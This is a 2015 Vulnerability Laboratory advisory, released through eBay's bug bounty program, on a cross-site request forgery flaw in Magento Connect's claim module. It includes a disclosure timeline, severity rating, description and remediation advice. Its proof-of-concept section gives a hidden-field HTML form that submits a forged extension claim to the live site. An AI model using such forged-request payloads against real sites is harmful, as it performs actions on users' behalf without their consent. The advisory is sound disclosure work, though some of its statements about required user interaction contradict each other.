Ebay Inc Magento Bug Bounty #16 - CSRF Web Vulnerability

Document Title:
===============
Ebay Inc Magento Bug Bounty #16 - CSRF Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1472

Ebay Inc Security ID: EIBBP-31808


Release Date:
=============
2015-07-02


Vulnerability Laboratory ID (VL-ID):
====================================
1472


Common Vulnerability Scoring System:
====================================
2.5


Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security  &  http://magento.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-04-19: Researcher Notification & Coordination (Hadji Samir)
2015-04-20: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-26: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)
2015-06-15: Vendor Fix/Patch (Magento Developer Team)
2015-06-30: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)
2015-07-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site request forgery web vulnerability has been discovered in the official Magento Commerce online service web-application.
The vulnerability allows to execute functions without secure validation to compromise user content in the online service web-applicatio.

The vulnerability is located in the /claim/claim/new/ id value POST method request of the magento connect claim module. Remote attackers
with low privileged user accounts are able to perform a malicious request of other users without auth. The request method is POST and the
issue attack vector is client-side (non-persistent).

The security risk of the csrf web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the cross site request forgery vulnerability requires no privileged web application user account and no user interaction.
Successful exploitation of the web vulnerability results in unauthorized execution of web functions via client-side in the users web context.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] magento-connect/claim/claim/new/


Proof of Concept (PoC):
=======================
The csrf web vulnerability can be exploited by remote attackers without privileged application user account and medium or high user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: magento-connect/claim/claim/new/

<form action="http://www.magentocommerce.com/magento-connect/claim/claim/new/" method="POST">

<input type="hidden" name="claim[claimed_extension_url]" value="http://www.magentocommerce.com/magento-connect/extname.html"/>

<input type="hidden" name="claim[original_extension_url]=" value="http://www.magentocommerce.com/magento-connect/test"/>

<input type="hidden" name="claim[sender_type]" value="no legal affiliation"/>
<input type="hidden" name="claim[description]" value="test"/>

<input type="hidden" name="claim[certify]" value="on"/>
<input type="hidden" name="claim[digital_signature]" value="claim[digital_signature]"/>

<input type="submit" value="send"/>
</form>

Note: The POST method request has no csrf token or key that protects the session data.

Reference(s):
http://www.magentocommerce.com/
http://www.magentocommerce.com/magento-connect/
http://www.magentocommerce.com/magento-connect/claim/
http://www.magentocommerce.com/magento-connect/claim/claim/new/


Solution - Fix & Patch:
=======================
The web vulnerability can be patched by implementation of a cross site request forgery token or a session key.
Both prevents by protecting the session credentials and secure web module functions.


Security Risk:
==============
The security risk of the client-side cross site request forgery web vulnerability in the magento commerce application is estimated as medium. (CVSS 2.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr]


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=========================
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